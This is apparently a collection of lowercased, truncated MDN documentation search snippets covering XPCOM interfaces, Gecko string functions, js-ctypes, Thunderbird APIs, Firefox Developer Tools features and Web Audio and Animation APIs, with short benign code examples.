... inherits from: nsisupports last changed in gecko 1.0 method overview void onstartrequest(in nsirequest arequest, in nsisupports acontext); void onstoprequest(in nsirequest arequest, in nsisupports acontext, in nsresult astatuscode); methods onstartrequest() called to signify the beginning of an asynchronous request.
... onstoprequest() called to signify the end of an asynchronous request.
nsISHistory
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in an embedded browser environment, the nsiwebbrowser object creates an instance of session history for each open window.
... maxlength long used to get/set the maximum number of toplevel documents, session history can hold for each instance.
... use nsishentry to access properties of each history entry.
nsIScreen
inherits from: nsisupports last changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) use nsiscreenmanager to obtain references to screens.
...each call to this method must eventually be followed by a corresponding call to unlockminimumbrightness() with the same value for the brightness parameter.
... unlockminimumbrightness() releases a lock on the minimum brightness of the screen, which was previously established through a corresponding call to lockminimumbrightness().
nsIScreenManager
widget/public/nsiscreenmanager.idlscriptable this interface lets you get information about the display screen (or screens) attached to the user's computer.
... 66 introduced gecko 0.9.5 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/gfx/screenmanager;1 as a service: var screenmanager = components.classes["@mozilla.org/gfx/screenmanager;1"] .getservice(components.interfaces.nsiscreenmanager); method overview nsiscreen screenfornativewidget( in voidptr nativewidget ); native code only!
...nsiscreen screenfornativewidget( in voidptr nativewidget ); parameters nativewidget the native widget for which to obtain an nsiscreen instance.
nsISelection3
1.0 66 introduced gecko 2.0 obsolete gecko 8.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in gecko 8.0 this interface was merged into the nsiselection interface.
... "extend" leaves the start of the selection unchanged, and applies movement direction/granularity to the end of the selection.
... direction can be one of { "forward", "backward", "left", "right" } granularity can be one of { "character", "word", "line", "lineboundary" } see also nsiselection ...
nsISessionStartup
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by: @mozilla.org/browser/sessionstartup;1.
...it was changed in order to improve performance, which was suffering due to the need to parse and stringify the data.
... defer_session 3 the previous session is viable but shouldn't be restored without explicit action (with the exception of app tabs, which are always restored in this case).
nsIStreamListener
inherits from: nsirequestobserver last changed in gecko 1.0 classes which want to consume data from a nsichannel need to implement this interface.
...method overview void ondataavailable(in nsirequest arequest, in nsisupports acontext, in nsiinputstream ainputstream, in unsigned long aoffset, in unsigned long acount); methods ondataavailable() this method is called when the next chunk of data for the ongoing request may be read without blocking the calling thread.
...ainputstream an nsiinputstream from which the data is to be read.
nsIStructuredCloneContainer
1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) you can copy an object into an nsistructuredclonecontainer using initfromvariant() or initfrombase64().
...method overview nsivariant deserializetovariant(); astring getdataasbase64(); void initfrombase64(in astring adata,in unsigned long aformatversion); void initfromvariant(in nsivariant adata); attributes attribute type description formatversion unsigned long get the version of the structured clone algorithm which was used to generate this container's serialized buffer.
...aformatversion the version of the structured clone algorithm which was used to generate adata.
nsISupportsPrimitive
inherits from: nsisupports last changed in gecko 1.7 attributes attribute type description type unsigned short this attribute provides access to the type represented by the nsisupportsprimitive instance.
... type_char 10 corresponding to nsisupportschar.
...see also nsisupportscstring nsisupportschar nsisupportsdouble nsisupportsfloat nsisupportsid nsisupportsinterfacepointer nsisupportsprbool nsisupportsprint16 nsisupportsprint32 nsisupportsprint64 nsisupportsprtime nsisupportspruint16 nsisupportspruint32 nsisupportspruint64 nsisupportspruint8 nsisupportsstring nsisupportsvoid ...
nsISupportsWeakReference
xpcom/base/nsiweakreference.idlscriptable this interface is a factory interface, which produces appropriate instances of nsiweakreference.
... weak references in this scheme can only be produced for objects that implement this interface.
... inherits from: nsisupports last changed in gecko 1.7 method overview nsiweakreference getweakreference(); methods getweakreference() produces an appropriate instance of nsiweakreference.
nsIToolkitProfile
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) you should not create these objects yourself; to obtain them, use the nsitoolkitprofileservice interface to create and obtain them.
... method overview nsiprofilelock lock(out nsiprofileunlocker aunlocker); void remove(in boolean removefiles); attributes attribute type description localdir nsilocalfile the location of the profile local directory, which may be the same as the root directory.
... return value an nsiprofilelock object which holds a profile lock as long as you hold a reference to it.
nsITreeColumn
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void getidconst([shared] out wstring idconst); native code only!
... nsitreecolumn getnext(); nsitreecolumn getprevious(); void invalidate(); attributes attribute type description atom nsiatom the atom attribute of nsitreecolumn which returns an nsiatom for the column, making it fast to do comparisons.
... type_checkbox 2 checkbox column type.
nsITreeColumns
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview nsitreecolumn getcolumnat(in long index); nsitreecolumn getcolumnfor(in nsidomelement element); nsitreecolumn getfirstcolumn(); nsitreecolumn getkeycolumn(); nsitreecolumn getlastcolumn(); nsitreecolumn getnamedcolumn(in astring id); nsitreecolumn getprimarycolumn(); nsitreecolumn getsortedcolumn(); void invalidatecolumns(); void restorenaturalorder(); attributes attribute type description count long the number of columns.
... length long an alias for count (for the benefit of scripts which treat this as an array).
...invalidatecolumns() this method is called whenever a treecol is added or removed and the column cache needs to be rebuilt.
nsIURLFormatter
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) variable names can contain 'a-z' letters and '_' characters.
...if a variable is unknown, it is left unchanged and a non-fatal error is reported.
...astring formaturlpref( in astring apref ); parameters apref a string representing the name of the preference from which to fetch the url to format.
nsIUpdateManager
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsiupdate getupdateat(in long index); void saveupdates(); attributes attribute type description activeupdate nsiupdate an nsiupdate object describing the currently in use update.
... updatecount long the number of updates in the history list; the updates can be fetched by calling getupdateat().
...see also nsiupdate nsiupdatechecklistener nsiupdatechecker nsiupdatepatch nsiapplicationupdateservice nsiupdateprompt nsiupdatetimermanager ...
nsIWebPageDescriptor
docshell/base/nsiwebpagedescriptor.idlscriptable this interface allows content being displayed in one window to be loaded into another window without refetching it from the network.
... inherits from: nsisupports last changed in gecko 1.7 method overview void loadpage(in nsisupports apagedescriptor, in unsigned long adisplaytype); attributes attribute type description currentdescriptor nsisupports retrieves the page descriptor for the current document.
... display_normal 0x0002 just refetches the existing page.
nsIWifiListener
netwerk/wifi/nsiwifilistener.idlscriptable this interface is implemented by clients interested in receiving notifications when the list of available wifi access points changes.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void onchange([array, size_is(alen)] in nsiwifiaccesspoint accesspoints, in unsigned long alen); void onerror(in long error); methods onchange() called when the list of available access points changes.
... void onchange( [array, size_is(alen)] in nsiwifiaccesspoint accesspoints, in unsigned long alen ); parameters accesspoints an array of nsiwifiaccesspoint objects representing all currently-available wifi access points.
nsIWorkerScope
dom/interfaces/threads/nsidomworkers.idlscriptable this interface represents the global scope in which a worker's script runs.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsiworkerglobalscope last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void postmessage(in domstring amessage, [optional] in nsiworkermessageport amessageport); void close(); attributes attribute type description onclose nsidomeventlistener a listener object to be called when the worker stops running.
...amessageport optional specifies the message port onto which to post the message; if not specified, the default port is used.
nsIZipEntry
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) attributes attribute type description compression unsigned short the type of compression used for the item.
...a synthesized entry represents a directory within the zip file which has no corresponding entry within the zip file.
... lastmodifiedtime prtime the time at which this item was last modified.
XPCOM primitive
the main use case is to store primitive values in a data structure that can only store xpcom objects, such as nsiarray.
... also, certain apis, such as nsitransferable.settransferdata(), require primitives.
...ruint64;1 [scriptable, uuid(e13567c0-4a1c-11d3-9890-006008962422)] interface nsisupportspruint64 : nsisupportsprimitive { attribute pruint64 data; string tostring(); }; prtime nsisupportsprtime @mozilla.org/supports-prtime;1 [scriptable, uuid(e2563630-4a1c-11d3-9890-006008962422)] interface nsisupportsprtime : nsisupportsprimitive { attribute prtime data; string tostring(); }; char nsisupportschar @mozilla.org/supports-char;1 [scriptable, uuid(e2b05e40-4a1c-11d3-9890-006008962422)] interface nsisupportschar : nsisupportsprimitive { attribute char data; string tostring(); }; print16 nsisupportsprint16 @mozilla.org/supports-print16;1 [scriptable, uuid(e30d94b0-4a1c-11d3-9890-006008962422)] interface nsisupportsprint16 : nsisupportsprimitive { attribute print16...
NS_CStringAppendData
#include "nsstringapi.h" nsresult ns_cstringappenddata( nsacstring& astring, const char* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to be modified.
... adata [in] a raw character array to copy into this string.
... example nscstringcontainer str; ns_cstringcontainerinit(str); ns_cstringsetdata(str, "hello"); ns_cstringappenddata(str, " world"); const char* data; ns_cstringgetdata(str, &data); printf("%s\n", data); // prints out "hello world" ns_cstringcontainerfinish(str); history this function was frozen for mozilla 1.7.
NS_CStringGetData
#include "nsstringapi.h" pruint32 ns_cstringgetdata( const nsacstring& astring, const char** adata, prbool* aterminated = nsnull ); parameters astring [in] a nsacstring instance to inspect.
... example code // count the number of times a particular character appears in a string.
... pruint32 countchar(const nsacstring& str, char c) { const char* data; pruint32 len = ns_cstringgetdata(str, &data); pruint32 count = 0; for (pruint32 i = 0; i < len; ++i) { if (data[i] == c) ++count; } return count; } history this function was finalized for mozilla 1.7.
NS_CStringSetDataRange
#include "nsstringapi.h" nsresult ns_cstringsetdatarange( nsacstring& astring, pruint32 acutstart, pruint32 acutlength, const char* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to modify.
... adata [in] a raw character array to copy into this string.
... example // replace all occurances of |matchval| with |newval| void replacesubstring(nsacstring& str, const nsacstring& matchval, const nsacstring& newval) { const char* sp, *mp, *np; pruint32 sl, ml, nl; sl = ns_cstringgetdata(str, &sp); ml = ns_cstringgetdata(matchval, &mp); nl = ns_cstringgetdata(newval, &np); for (const char* iter = sp; iter <= sp + sl - ml; ++iter) { if (memcmp(iter, mp, ml) == 0) { pruint32 of...
NS_StringSetDataRange
#include "nsstringapi.h" nsresult ns_stringsetdatarange( nsastring& astring, pruint32 acutstart, pruint32 acutlength, const prunichar* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsastring instance to modify.
...adata [in] a raw character array to copy into this string.
... example code // replace all occurances of |matchval| with |newval| void replacesubstring(nsastring& str, const nsastring& matchval, const nsastring& newval) { const prunichar* sp, *mp, *np; pruint32 sl, ml, nl; sl = ns_stringgetdata(str, &sp); ml = ns_stringgetdata(matchval, &mp); nl = ns_stringgetdata(newval, &np); for (const prunichar* iter = sp; iter <= sp + sl - ml; ++iter) { if (memcmp(iter, mp, ml) =...
Using the Gecko SDK
(more information on xpcom is available at the xpcom project page.) the intent of this guide is to help you build your components "the right way" such that they will remain compatible with future versions of mozilla.
...every frozen interface or function will be labeled as such in the idl or header file with "@status frozen".
...all nspr functions are frozen by default and are not marked as such in the respective header files.) the glue library exists to make common tasks easier.
Test-Info
each task generates one or more json-formatted data files providing detailed information on tests run in continuous integration, typically broken down by bugzilla component.
... running test-info locally "test-info" is a mach command and can be run from any source tree.
... test-info has several sub-commands; the "report" sub-command is used by the test-info tasks mozilla-central$ mach help test-info report to reproduce test-info(all): mozilla-central$ mach test-info report --show-tests --show-summary --show-activedata running test-info on try to run these tasks on try, use something like: mach try fuzzy -q test-info contact information test-info is maintained by :gbrown.
Account Provisioner
the account provisioner gives the user the chance to search for and order a vanity email account from a list of partner providers.
... if the user already has an email account, the user can switch to the original account setup wizard.
... debugging the account provisioner dialog logs most if not all of its activities, which is useful for debugging.
Buddy icons in mail
for the message pane, the icon we will show is on disk at: <profile home>/nim/<value of pref aim.session.screenname>/picture/<screenname for sender email address>.gif when trying to determine the screenname for the sender, we search the addressbook that we are using for collection.
... if there is no card matching the email, the icon will not appear.
... the reason this file name scheme was chosen was is this is how netscape 7.0 im stores buddy icons on disk.
Thunderbird API documentation
much of it may no longer be relevant.
... general mail client architecture overview mail event system events new!
... activity manager address book sync client design buddy icons in mail composition composition back end in mail cached compose window faq filelink providers new!
Folders and message lists
changing the current message selection in addition to getting the currently-selected messages, you can also change the selection: gfolderdisplay.selectmessage(msghdr): selects a single message, as specified by msghdr (an nsimsgdbhdr) and scrolls to its position in the message list.
...like selectmessage, this function will attempt to scroll the view so the entire selection is visible (which may not be possible for large selections).
... listing messages in a folder if you have a message folder, and would like to list all the messages in that folder, you can use the .messages attribute, which returns an nsisimpleenumerator.
Declaring and Calling Functions
example: no input parameters in this example, we declare the libc clock() function, which returns the elapsed time since system startup, then fetch and output that value.
... example: multiple input parameters this example declares the libc asctime() function, which converts a time structure into a string.
... const asctime = lib.declare("asctime", ctypes.default_abi, ctypes.char.ptr, struct_tm.ptr); for a more complete version of this example (including the implementation of the struct_tm type), see the structures example.
ArrayType
ctype arraytype() type[ length] ); parameters type: it represents the type of the elements or variable which is going to be present in an array length optional it denotes the number of entries present in an array or the number of elements that an array should contain.
... in addition, each element in the array can be referenced by index using standard bracket notation, such as myarray[index].
... arraytype cdata method_overview cdata addressofelement(idx) methods inherited from cdata cdata address() string tosource() string tostring() arraytype cdata methods addressofelement() returns a new cdata object of the appropriate pointer type, whose value points to the specified array element on which the method was called.
Library
cdata declare( name[, abi, returntype argtype1, ...] ); parameters name the name of the symbol exported by the native library that is to be declared as usable from javascript abi the abi used by the exported function; this will be ctypes.default_abi for most libraries, except for windows libraries, which will be ctypes.winapi_abi or ctypes.stdcall_abi.
...the first being the same as in the above example, name, which is the name of the symbol to export.
...for example, from the objective-c library we can export the symbol which holds the address to an external block.
UInt64
this may be specified as an integer (if the value can be represented as a 32-bit value), another 64-bit integer object (either signed or unsigned), or as a string, which may consist of an optional minus sign, followed by either a decimal number or "0x" or "0x" followed by a hexadecimal number.
... warning: do not rely on the value returned by this method, as it's subject to change at any time, depending on the debugging needs of the developers.
... var c2 = a1 * b2 + a2 * b1; var c3 = a1 * b3 + a2 * b2 + a3 * b1; var c4 = a1 * b4 + a2 * b3 + a3 * b2 + a4 * b1; var c5 = a1 * b5 + a2 * b4 + a3 * b3 + a4 * b2 + a5 * b1; c2 += c1 >>> 13; c1 &= 0x1fff; c3 += c2 >>> 13; c2 &= 0x1fff; c4 += c3 >>> 13; c3 &= 0x1fff; c5 += c4 >>> 13; c4 &= 0x1fff; var ch = ((c5 << 20) | (c4 << 7) | (c3 >>> 6)) >>> 0; var cl = ((c3 << 26) | (c2 << 13) | c1) >>> 0; return uint64.join(ch, cl); } function uint64_or(...uint64) { // bitwise or // if there are logical or and bitwise or, bitwise or may be named `bor` or `bitor`, but i don't think there could be logical or, so i think just `or` is the right name ensureuin...
js-ctypes
note: js-ctypes is only available from chrome code; that is, ctypes is not available to websites, only application and extension code.
... using js-ctypes ctypes.open custom native file standard os libraries finding window handles working with data working with arraybuffers declaring types declaring and calling functions declaring and using callbacks type conversion memory management chromeworker js-ctypes reference a reference guide to the js-ctypes api.
... using c structs and pointers using com from js-ctypes using objective-c from js-ctypes github :: ochameau / jscpptypes a mangling library to use c++ from js-ctypes community view mozilla forums...
Blocking By Domain - Plugins
plugins such as flash are a performance and security problem for firefox users.
...plugin detection mechanisms such as navigator.mimetypes and navigator.plugins will also behave as if the plugin were not installed.
... criteria in order to improve firefox security and performance, there are two major categories of sites mozilla may choose to add to plugin domain blocking: sites commonly embedded in a 3rd-party context web sites which are commonly embedded into other sites using iframes can have a large impact on browser security and also cause many sites to show plugin activation prompts.
Preferences System
ui elements that refer to the preferences above, e.g.: <checkbox id="check1" preference="pref1" label="&check1.label;" accesskey="&check1.accesskey;"/> </prefpane> <prefpane id="pane2" label="&pane2.title;" src="chrome://uri/to/pane.xul"/> </prefwindow> pane content can be specified inline or an external chrome uri supplied for pane content to be loaded in via a dynamic overlay.
...you should also be careful to specify the width of the window (in em) as appropriate using the preprocessor for each targeted platform, as well as the height (in em) for platforms where the window size does not change as the selected panel is changed (e.g.
...example: var features = "chrome,titlebar,toolbar,centerscreen,modal"; window.opendialog(url, "preferences", features); bugzilla the component for bugs in the preferences bindings (but not in firefox/thunderbird options ui) is toolkit:preferences (file a bug list open bugs) ...
Color vision simulation - Firefox Developer Tools
the most common forms of color blindness (commonly lumped together as "red-green color blindness") affect more men than women, because they are due to a mutation in a gene in the x chromosome, which men usually have only one copy of.
... in the simulate menu, you can choose one option at a time from the following list: none — choose this to return to normal display protanomaly (low red) deuteranomaly (low green) tritanomaly (low blue) protanopia (no red) deuteranopia (no green) tritanopia (no blue) contrast loss these simulations are not completely medically accurate.
... however, they can give you a sense of what your web site looks like to users with vision problems, and therefore help you judge whether you need to make adjustments in your color or contrast choices.
Set a logpoint - Firefox Developer Tools
the logpoint is especially useful in cases where breaking the execution breaks testing procedures, such as when you are debugging popup windows, or executing focus-related logic.
...it’s faster than changing the underlying source code itself to add calls to the console.log method.
... if you need to execute additional logic related to the source code and you can’t change the source code itself, you can use a logpoint.
Set an XHR breakpoint - Firefox Developer Tools
an xhr (xmlhttprequest) breakpoint breaks code execution when an xhr request is dispatched so that you can examine the current state of the program.
...to turn on the feature: open the debugger click on "pause on any url" which acts as a wild card, causing the code to pause on any call, or, click the plus sign next to the xhr breakpoints header, enter the url in which you are interested, and press enter.
... inline variable preview new in firefox 71, the source pane now gives you an instant preview of the variables on each line of code you've stepped through.
The Firefox JavaScript Debugger - Firefox Developer Tools
open the debugger pretty-print a minified file search use a source map pause execution you probably want to pause the execution of your code, in order to see what is going on at various points.
... there are multiple ways to tell the debugger how and when to pause: set a breakpoint set a conditional breakpoint set an xhr breakpoint set event listener breakpoints break on exceptions use watchpoints for property reads and writes break on dom mutation disable breakpoints control execution what can you do after execution pauses?
... set a logpoint set watch expressions reference keyboard shortcuts source map errors ...
Eyedropper - Firefox Developer Tools
underneath the magnifying glass it shows the color value for the current pixel using whichever scheme you've selected in settings > inspector > default color unit: you can use it in one of two ways: to select a color from the page and copy it to the clipboard to change a color value in the inspector's rules view to a color you've selected from the page copying a color to the clipboard open the eyedropper in one of these two ways: select "eyedropper" under the "web developer" menu open the page inspector tab and click the eyedropper button in its toolbar as you move the m...
...ouse around the page you'll see the current color value in the eyedropper change.
... changing a color value in the rules view color values appearing in the inspector's rules view have color samples next to them: clicking the sample shows a color picker popup.
Basic operations - Firefox Developer Tools
to enable it, open the developer tool settings, and check the "memory" box under "default firefox developer tools": from firefox 50 onwards, the memory tool is enabled by default.
... to load a snapshot from an existing .fxsnapshot file, click the import button, which looks like a rectangle with an arrow rising from it (before firefox 49, this button was labeled with the text "import..."): you'll be prompted to find a snapshot file on disk.
...to do this, check "record call stacks" (before firefox 49 this was labeled "record allocation stacks"): ...
Throttling - Firefox Developer Tools
throttling the toolbar includes a throttling dropdown, which allows you to throttle your network speed to emulate various different network speed conditions.
... simply choose an option from the menu, and it will persist across reloads.
... the characteristics emulated are: download speed upload speed minimum latency the table below lists the numbers associated with each network type, but please do not rely on this feature for exact performance measurements; it's intended to give an approximate idea of the user experience in different conditions.
Edit CSS filters - Firefox Developer Tools
css filter properties in the rules view have a circular gray and white swatch next to them: clicking the swatch opens a filter editor: the filter editor lists each of the effects performed by that filter on a separate line.
... you can edit these lines, remove them individually, or drag the effects to change the order in which they are applied.
...the change will be apparent as soon as youpress enter.
How to - Firefox Developer Tools
open the performance tools to open the performance tools: press shift + f5 select "performance" from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on os x) select "performance" from tools button, in the toolbar, if you have one: record a profile to start a new recording, press the stopwatch icon in the recordings pane.
... save a profile to save a profile, click the link labeled "save" in the recordings pane: load a profile to load a profile, click "import..." and choose the file: clear all loaded profiles to clear all loaded profiles, click "clear".
... select a tool to switch between the waterfall, call tree, and flame chart tools, use the buttons in the toolbar: configure markers displayed to control which markers are shown in the waterfall, use the button in the toolbar: zoom in to zoom into a slice of the recording, select that slice in the recording overview: ...
Performance - Firefox Developer Tools
you get four sub-tools to examine aspects of the profile in more detail: the waterfall shows the different operations the browser was performing, such as executing layout, javascript, repaints, and garbage collection the call tree shows the javascript functions in which the browser spent most of its time the flame chart shows the javascript call stack over the course of the recording the allocations view shows the heap allocations made by your code over the course of the recording.
... this view only appears if you checked "record allocations" in the performance tool settings.
... flame chart see which javascript functions are executing, and when, over the course of the recording.
Debugging Firefox Desktop - Firefox Developer Tools
this guide explains how you can use the firefox developer tools to debug a different instance of desktop firefox running on the same machine.
... enable remote debugging first, you'll need to ensure that both debugger and debuggee have the "enable browser chrome and add-on debugging toolboxes" and "enable remote debugging" settings checked in the developer tools settings.
...if you want to debug a firefox instance from an external machine, you can change this option, but only do this on a trusted network or set a strong firewall rule to lock down which machines can access it.
Shader Editor - Firefox Developer Tools
with webgl you provide 2 programs called shaders which are called at the appropriate stages of the opengl rendering pipeline: a vertex shader, which computes the clip space coordinates of each vertex to be drawn, and a fragment shader, which determines the color for each pixel to be drawn.
...to enable it, open the toolbox settings and check "shader editor" in the "default firefox developer tools" item.
... at first you'll just see a blank window with a button asking you to reload the page: to get started, load a page which creates a webgl context and loads a program into it.
Web console keyboard shortcuts - Firefox Developer Tools
command windows macos linux open the web console ctrl + shift + k cmd + opt + k ctrl + shift + k search in the message display pane ctrl + f cmd + f ctrl + f open the object inspector pane ctrl + click ctrl + click ctrl + click clear the object inspector pane esc esc esc focus on the command line ctrl + shift + k cmd + opt + k ctrl + shift + k clear output ctrl + shift + l ctrl + l from firefox 67: cmd + k ctrl + shift + l command line interpreter these shortcuts apply when you're in the command line interpreter.
... the command line is empty) end end end page up through console output page up page up page up page down through console output page down page down page down go backward through command history up arrow up arrow up arrow go forward through command history down arrow down arrow down arrow initiate reverse search through command history/step backwards through matching commands f9 ctrl + r f9 step forward through matching command history (after initiating reverse search) shift + f9 ctrl + s shift + f9 move to the beginning of the line home ctrl + a ctrl + a move to the end of the line end ctrl + e ctrl + e execute the current expressio...
...n enter return enter add a new line, for entering multiline expressions shift + enter shift + return shift + enter autocomplete popup these shortcuts apply while the autocomplete popup is open: command windows macos linux choose the current autocomplete suggestion tab tab tab cancel the autocomplete popup esc esc esc move to the previous autocomplete suggestion up arrow up arrow up arrow move to the next autocomplete suggestion down arrow down arrow down arrow page up through autocomplete suggestions page up page up page up page down through autocomplete suggestions page down page down page down scroll to start of autocompl...
AbortSignal.onabort - Web APIs
the onabort read-only property of the fetchsignal interface is an event handler invoked when an abort event fires, i.e.
... when the fetch request(s) the signal is communicating with is/are aborted.
...later on we check whether or not it the signal has been aborted using the onabort property, and send an appropriate log to the console.
AnalyserNode.getByteFrequencyData() - Web APIs
each item in the array represents the decibel value for a specific frequency.
...for any sample which is silent, the value is -infinity.
...for more examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code).
Animation() - Web APIs
although in the future other effects such as sequenceeffects or groupeffects might be possible, the only kind of effect currently available is keyframeeffect.
... this can be null (which is the default) to indicate that there should be no effect applied.
... timeline optional specifies the timeline with which to associate the animation, as an object of a type based on the animationtimeline interface.
Animation.finish() - Web APIs
WebAPIAnimationfinish
examples the following example shows how to use the finish() method and catch an invalidstate error.
... interfaceelement.addeventlistener("mousedown", function() { try { player.finish(); } catch(e if e instanceof invalidstate) { console.log("finish() called on paused or finished animation."); } catch(e); logmyerrors(e); //pass exception object to error handler } }); the following example finishes all the animations on a single element, regardless of their direction of playback.
... elem.getanimations().foreach( function(animation){ return animation.finish(); } ); specifications specification status comment web animationsthe definition of 'finish()' in that specification.
Animation.updatePlaybackRate() - Web APIs
the updateplaybackrate() method of the web animations api's animation interface sets the speed of an animation after first synchronizing its playback position.
...in such a case, setting the playbackrate on the animation directly may cause the animation's playback position to jump since its playback position on the main thread may have drifted from the playback position where it is currently running.
... updateplaybackrate() is an asynchronous method that sets the speed of an animation after synchronizing with its current playback position, ensuring that the resulting change in speed does not produce a sharp jump.
AnimationEvent - Web APIs
ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/animationevent" target="_top"><rect x="116" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="186" y="30" font-size="12px" font-family="con...
...solas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">animationevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor animationevent() creates an animationevent event with the given parameters.
...for an animationstart event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay).
AudioBufferSourceNode.buffer - Web APIs
if the buffer property is set to the value null, the node generates a single channel containing silence (that is, every sample is 0).
... syntax audiobuffersourcenode.buffer = soundbuffer; value an audiobuffer which contains the data representing the sound which the node will play.
... var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; //just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } // get an audiobuffersourcenode.
AudioBufferSourceNode.loopEnd - Web APIs
syntax audiobuffersourcenode.loopend = endoffsetinseconds; var endoffsetinseconds = audiobuffersourcenode.loopend; value a floating-point number indicating the offset, in seconds, into the audio buffer at which each loop will loop return to the beginning of the loop (that is, the current play time gets reset to audiobuffersourcenode.loopstart).
...buttons are provided to play and stop the audio playback, and slider controls are used to change the playbackrate, loopstart and loopend properties on the fly.
...for example, if you set their values to 20 and 25, respectively, then begin playback, the sound will play normally until it reaches the 25 second mark.
AudioConfiguration - Web APIs
channels: the number of channels used by the audio track.
... examples //create media configuration to be tested const mediaconfig = { type : 'file', // 'record', 'transmission', or 'media-source' audio : { contenttype : "audio/ogg", // valid content type channels : 2, // audio channels used by the track bitrate : 132700, // number of bits used to encode 1s of audio samplerate : 5200 // number of audio samples making up that 1s.
... } }; // check support and performance navigator.mediacapabilities.decodinginfo(mediaconfig).then(result => { console.log('this configuration is ' + (result.supported ?
AudioContext.createMediaElementSource() - Web APIs
the createmediaelementsource() method of the audiocontext interface is used to create a new mediaelementaudiosourcenode object, given an existing html <audio> or <video> element, the audio from which can then be played and manipulated.
... for more details about media element audio source nodes, check out the mediaelementaudiosourcenode reference page.
...when the mouse pointer is moved, the updatepage() function is invoked, which calculates the current gain as a ratio of mouse y position divided by overall window height.
AudioListener.forwardX - Web APIs
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.forwardY - Web APIs
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.forwardZ - Web APIs
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.positionX - Web APIs
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.positionY - Web APIs
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.positionZ - Web APIs
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.setPosition() - Web APIs
